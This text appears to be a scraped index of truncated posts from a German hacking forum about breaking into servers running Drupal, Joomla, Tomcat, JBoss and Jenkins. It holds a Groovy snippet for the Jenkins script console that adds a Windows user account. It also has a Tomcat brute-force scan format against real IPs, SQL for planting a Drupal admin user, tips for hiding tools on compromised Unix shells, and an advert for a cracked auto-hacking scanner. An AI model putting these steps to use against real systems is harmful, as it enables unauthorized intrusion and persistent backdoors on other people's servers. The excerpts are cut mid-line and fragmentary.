Hier mal für WINDOWS:
Drupal:
drupal.bat
@echo off
SET "quell_datei=log_drupal.txt"
SET "test_datei1=test1.txt"
SET "test_datei2=test2.txt"
SET "Bak=.bak"
SET /a LineNo=0
SET "ziel_datei=log_drupal.txt"
:: alles nach dem Port löschen http://70.35.194.188:80 ['admin'] ->...
Für WIN:
Hier einmal paar *.bat Files um aus diversen Scanresults diverse änderung zu machen.
Vielleicht ist es ja manchen zu umständlich mit dem Editor oder Notepad++ mit suchen und ersetzen.
1. PMA - index.php löschen oder hinzufügen
2. MSD - main.php löschen oder hinzufügen...
Herr Spy v6 - Der Einlösungs ist die neueste Auto Website Vulnerability Scanner , die Webseiten automatisch Hack kann.
Setzen Sie Ihre Website Just / Websites Liste automatisch nutzen werden , wenn Website / Websites anfällig sind.
Gecrackte Version (priv8)
(rissig durch Mehtevas)
87...
def command = """net user USER PASSWORT /add"""
def proc = command.execute() // Call *execute* on the string
proc.waitFor() // Wait for the command to finish
// Obtain status and output
println "return code: ${ proc.exitValue()}"
println "stderr...
Hallo
ich hab noch ein kleines Video Tutorial gemacht mit einer kleines bisschen anderen variante :Biggrin:
Viel Spaß beim schauen und wenn fragen sind immer her :laugh:
[HIDE-THANKS]rar-Archiv: http://xup.in/dl,54712702
7Zip-Archiv: http://xup.in/dl,19360014
Pass...
Hi hab mich mal an ein Video Tutorial versucht
Wenn ihr fragen habt dann immer her damit :Biggrin:
[HIDE-THANKS]Rar-Archiv: http://xup.in/dl,23956706
7Zip-Archiv: http://xup.in/dl,94184396
Pass: fxp-terminal-crow[/HIDE-THANKS]
Vorab, ich möchte das dieses Tutorial und Tools ausschlielich auf spyhackerz.com bleiben, so haben wir mehr vom Kuchen!!
Ihr sucht euch als erstes eine Unix Shell, dort sucht ihr euch ein Safe Verzeichnis das nicht jeder andere Scanner sofort findet und die Tools klaut.
find / -type d -writable...
Tomcat hacken
Zuerst brauchen wir einen Scan im folgenden Format
Manager bruted tomcat:tomcat at http://XXX:8080/manager/html Apache Tomcat/7.0.29 java 1.6.0_29-b11 Linux 2.6.18-400.1.1.el5
^ ^...
Hallo
wiedermal ein kleines Videos Tutorial ... aber jetzt gehts um Joomla
Viel Spaß beim schauen und wenn fragen sind immer her
[HIDE-THANKS]rar-Archiv: http://xup.in/dl,62117148
7Zip-Archiv: http://xup.in/dl,16199006
Pass: fxp-terminal-crow[/HIDE-THANKS]
#tut by bop
how to hack drupal via phpmyadmin (or another database manager). If you have not database manager try the Drupal SQLi vuln (CVE-2014-3704).
# step 1
go to phpmyadmin
http://localhost/phpmyadmin/index.php
go to your drupal table
create a new user
Code:
INSERT INTO `users` (`uid`...
Hi
hab hier mal wieder nen kleines Video Tutorial gemacht
Ich hoffe man versteht alles :laugh:
Aber bei fragen stehe ich gerne zur verfügung :Biggrin:
Video Tutorial:
[HIDE-REPLY]rar-Archiv: http://xup.in/dl,11084685
7Zip-Archiv: http://xup.in/dl,14938919
Pass...
Hier könnt ihr euch in aller Ruhe noch einmal das shellen von JBOSS Servern anschauen,
bzw. auch durch lesen.
Alles ordentlich beschrieben denke ich mal für die Laien.
JBoss Exploitation:
[HIDE-THANKS]http://securityxploded.com/JBoss Whitepaper.pdf[/HIDE-THANKS]
Viel Viel Spaß damit.
Sagen wir mal ihr habt in euren Scans ein Jenkis Result,das sieht dann folgendermaßen aus
http://78.47.116.108:80/script
Aufrufen und in die geöffnete Konsole folgenden Befehl eingeben
[HIDE-REPLY] def command = "" "df -h" "" // den String erstellen
def proc = command.execute () // Aufruf...